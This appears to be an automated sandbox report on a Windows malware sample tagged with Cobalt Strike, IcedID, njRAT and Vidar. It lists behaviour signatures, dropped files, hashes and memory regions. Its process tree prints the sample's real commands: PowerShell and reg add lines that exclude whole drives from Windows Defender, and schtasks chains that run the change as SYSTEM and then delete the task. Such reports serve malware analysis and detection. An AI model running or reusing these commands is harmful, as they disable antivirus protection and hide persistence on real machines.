Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 06:02

General

  • Target
    2026-08-17_9d0b4362adee3cee82dd083e73e63cc7_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 40.7MB
  • Sample260817-grepnaer6v
  • SHA256 35fa54b0aeaa385de7872f7f29f05453b58c70bb8463d22bc1e9973046969923
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d0b4362adee3cee82dd083e73e63cc7_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d0b4362adee3cee82dd083e73e63cc7_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4160
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4792
    • C:\Users\Public\3Ozjc4\zN1qDQ.exe
      "C:\Users\Public\3Ozjc4\zN1qDQ.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1508
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3Ozjc4\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5112
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3Ozjc4\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3280
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:432
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:3140
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:600
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5912
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:688
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5620
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:1584
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5780
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1912
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5784
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4652
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:956
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:6080
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4996
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1880
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3556
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2720
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4948
                          • C:\Program Files (x86)\rGb4XX\N6c3lT.exe
                            "C:\Program Files (x86)\rGb4XX\N6c3lT.exe"
                            2⤵
                              PID:2636
                          • C:\Users\Public\3Ozjc4\zN1qDQ.exe
                            "C:\Users\Public\3Ozjc4\zN1qDQ.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1132
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3Ozjc4" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1052
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3Ozjc4" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3880
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:4844
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3188
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:5956
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4552
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:3680

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  N6c3lT.exe

                                  • Path C:\Program Files (x86)\rGb4XX\N6c3lT.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\rGb4XX\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 01e0f8f56e2b6d172cfae8d8c40739c42be677d5e7a41978320383f6931d63e5
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\rGb4XX\image.png
                                  • Size 3.0MB
                                  • SHA256 5920c5cdfaeafd9ece3212b7187b99bcfd8a76cc5a13aa6d2bf5d7370ea89202
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\3Ozjc4\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 394a4679b0d9d36bd94e4021662808b50c0eedca28e8cbcc03e8d69b32818171
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\3Ozjc4\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 f4382b448541364a79fcce61bd20c8ccd88293b71ff6a658400f98519b7c394c
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\3Ozjc4\msadox.tb
                                  • Size 8KB
                                  • SHA256 d3919901e1bf61368812f2440426249788699b34b1b8472336eeaee12f541186
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  zN1qDQ.exe

                                  • Path C:\Users\Public\3Ozjc4\zN1qDQ.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1132-592-0x0000024C385F0000-0x0000024C38E81000-memory.dmp

                                  memory/1132-591-0x0000024C385F0000-0x0000024C38E81000-memory.dmp

                                  memory/1132-578-0x0000024C385F0000-0x0000024C38E81000-memory.dmp

                                  memory/1132-584-0x00007FFEC82C0000-0x00007FFEC82C2000-memory.dmp

                                  memory/1132-589-0x0000024C385F0000-0x0000024C38E81000-memory.dmp

                                  memory/1132-585-0x0000024C385F0000-0x0000024C38E81000-memory.dmp

                                  memory/1132-593-0x00007FFEC82B0000-0x00007FFEC82B2000-memory.dmp

                                  memory/1132-590-0x0000024C385F0000-0x0000024C38E81000-memory.dmp

                                  memory/1132-575-0x00007FFEA5C30000-0x00007FFEA614E000-memory.dmp

                                  memory/1508-604-0x0000028053480000-0x00000280534A2000-memory.dmp

                                  memory/1508-609-0x0000028053720000-0x000002805373E000-memory.dmp

                                  memory/1508-610-0x0000028053740000-0x00000280537F2000-memory.dmp

                                  memory/1508-611-0x0000028053510000-0x000002805351A000-memory.dmp

                                  memory/2636-678-0x0000000000D30000-0x0000000000D31000-memory.dmp

                                  memory/2636-679-0x0000000075050000-0x000000007579A000-memory.dmp

                                  memory/2880-540-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-547-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-566-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-570-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-563-0x0000028BF7AB0000-0x0000028BF7B3A000-memory.dmp

                                  memory/2880-553-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-560-0x0000028BF7AB0000-0x0000028BF7B3A000-memory.dmp

                                  memory/2880-561-0x0000028BF7AB0000-0x0000028BF7B3A000-memory.dmp

                                  memory/2880-559-0x0000028BF78E0000-0x0000028BF792E000-memory.dmp

                                  memory/2880-549-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-548-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-564-0x0000028BF7AB0000-0x0000028BF7B3A000-memory.dmp

                                  memory/2880-546-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-543-0x0000028BF8580000-0x0000028BF8E11000-memory.dmp

                                  memory/2880-541-0x00007FFEC82C0000-0x00007FFEC82C2000-memory.dmp

                                  memory/2880-533-0x00007FFEC82B0000-0x00007FFEC82B2000-memory.dmp

                                  memory/2880-534-0x00007FFEA5C30000-0x00007FFEA614E000-memory.dmp

                                  memory/4160-0-0x0000000000570000-0x000000000057E000-memory.dmp

                                  memory/4160-526-0x00007FFEBF8F0000-0x00007FFEBF902000-memory.dmp

                                  memory/4160-525-0x0000000000570000-0x000000000057E000-memory.dmp

                                  memory/4160-503-0x00007FFEBF8F0000-0x00007FFEBF902000-memory.dmp

                                  memory/4160-1-0x0000000000580000-0x000000000058C000-memory.dmp